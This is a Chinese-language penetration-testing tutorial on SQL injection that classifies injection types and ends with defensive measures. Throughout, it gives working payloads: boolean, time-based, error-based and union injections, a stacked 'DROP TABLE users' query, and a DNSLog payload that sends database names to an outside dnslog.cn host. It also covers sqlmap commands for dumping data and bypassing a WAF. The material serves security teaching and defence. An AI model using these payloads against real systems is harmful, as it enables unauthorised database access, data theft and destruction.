渗透小结-SQL注入篇
字数 1362 2025-08-15 21:33:12
SQL注入攻击全面解析与防御指南
一、SQL注入概述
SQL注入是一种将SQL代码添加到输入参数中,传递到SQL解析并执行的一种攻击手法。攻击者通过构造特殊的SQL语句,可以实现无账号登录、篡改数据库甚至获取服务器权限等恶意操作。SQL注入长期位列OWASP TOP 10安全威胁。
攻击原理
- 应用程序未对用户输入进行充分过滤和验证
- 恶意SQL代码被拼接到原始SQL查询中
- 数据库执行了包含恶意代码的完整SQL语句
二、SQL注入漏洞识别方法
1. 输入点识别
- 识别Web应用的所有输入点:表单、URL参数、HTTP头、Cookie等
- 重点关注用户可控的输入参数
2. 请求类型分析
- POST请求:常见于登录表单等
- GET请求:URL参数直接可见
- HTTP头注入:User-Agent、Referer等头部字段
- Cookie注入:存储在客户端的身份验证信息
3. 异常检测
- 观察服务器响应中的异常信息
- 通过响应时间判断是否存在注入可能
三、SQL注入分类与利用技术
1. 按注入点类型分类
(1) 数字型注入
-- 真条件测试
SELECT * FROM test WHERE id=1537 AND 1=1
-- 假条件测试
SELECT * FROM test WHERE id=1537 AND 1=2
-- 永真条件
SELECT * FROM test WHERE id=1537 OR 1=1
(2) 字符串型注入
-- 原始查询
SELECT column1,column2 FROM table WHERE name = '用户输入';
-- 注入payload
SELECT column1,column2 FROM table WHERE name = 'sss' OR 1=1 #';
(3) 搜索型注入
-- 原始查询
SELECT column1,column2 FROM table WHERE name LIKE '用户输入%';
-- 注入payload
SELECT column1,column2 FROM table WHERE name LIKE 's%' OR 1=1 #'';
2. 按提交方式分类
(1) GET注入
- 通过URL参数直接注入
- 示例:
http://example.com/page?id=1' AND 1=1--
(2) POST注入
- 需要通过工具修改POST请求内容
- 常用工具:Burp Suite、Hackbar等
(3) HTTP头注入
-- 注入User-Agent头
INSERT httpinfo(userid,ipaddress,useragent)
VALUES('$id','$ip','' OR updatexml(1,concat(0x7e,database()),0) OR '')
(4) Cookie注入
- 修改Cookie值进行注入
- 常用工具:Burp Suite拦截修改
3. 按信息获取方式分类
(1) 基于布尔的盲注
- 无报错信息,仅返回对/错两种状态
-- 判断数据库第一个字符是否为'p'
vince' AND substr(database(),1,1)='p' #
(2) 基于时间的盲注
-- 如果第一个字符是'p'则延迟5秒
vince' AND IF((substr(database(),1,1))='p',sleep(5),null) #
(3) 基于报错的注入
updatexml函数注入
aaa' OR updatexml(1,concat(0x7e,database()),0) OR '
extractvalue函数注入
ss' OR extractvalue(1,concat(0x7e,database())) OR '
floor函数注入
AND (SELECT 1 FROM (SELECT count(*),concat(database(),floor(rand(0)*2))x
FROM information_schema.tables GROUP BY x)a)
(4) 联合查询注入
-- 判断列数
1' ORDER BY 2
-- 查看回显位置
s' UNION SELECT 1,2 #
-- 获取数据库信息
s' UNION SELECT user(),database() #
(5) 堆叠查询注入
-- MySQL示例
SELECT * FROM test WHERE id=1; CREATE TABLE test1;
-- SQL Server示例
SELECT * FROM test; DROP TABLE users;
4. 其他特殊注入技术
(1) 宽字节注入
- 利用GBK编码特性绕过转义
- 条件:数据库使用GB系列编码且使用了转义函数
s%DF' OR 1=1 #
(2) DNSLog注入
- 通过DNS请求外带数据
AND (SELECT load_file(concat('//',(SELECT database()),'.y2btnp.dnslog.cn/1.txt')))
四、自动化注入工具 - SQLmap
基本用法
# 基本检测
sqlmap.py -u "http://example.com/page?id=1"
# Cookie注入
sqlmap.py -u URL --cookie "参数" --tables --level 4
# POST注入
sqlmap.py -r post请求文件 -p 指定参数 --tables
高级参数
--batch: 使用默认配置不询问--forms: 自动检测和提交表单--dbs: 枚举数据库--tables: 枚举表--columns: 枚举列--dump: 导出数据--tamper: 使用绕过脚本
WAF绕过
sqlmap.py -u 注入点 -v 3 --dbs --batch --tamper=modsecurityversioned.py
五、SQL注入防御措施
1. 权限控制
- 业务用户和管理用户权限分离
- 最小权限原则:仅授予必要权限
2. 输入处理
- 严格过滤和转义用户输入
- 白名单验证输入格式
- 黑名单过滤危险字符
3. 安全编码
- 使用参数化查询(Prepared Statements)
- 使用ORM框架
- 存储过程(需注意安全问题)
4. 其他措施
- 启用WAF防护
- 定期安全审计和渗透测试
- 错误信息处理:不暴露数据库细节
- 定期更新和补丁管理
六、总结
SQL注入作为最危险的Web安全威胁之一,攻击者可以通过多种技术手段实现数据泄露、权限提升等恶意目的。防御SQL注入需要从开发规范、输入验证、权限控制等多方面入手,建立纵深防御体系。安全是一个持续的过程,需要开发人员、运维人员和安全团队的共同努力。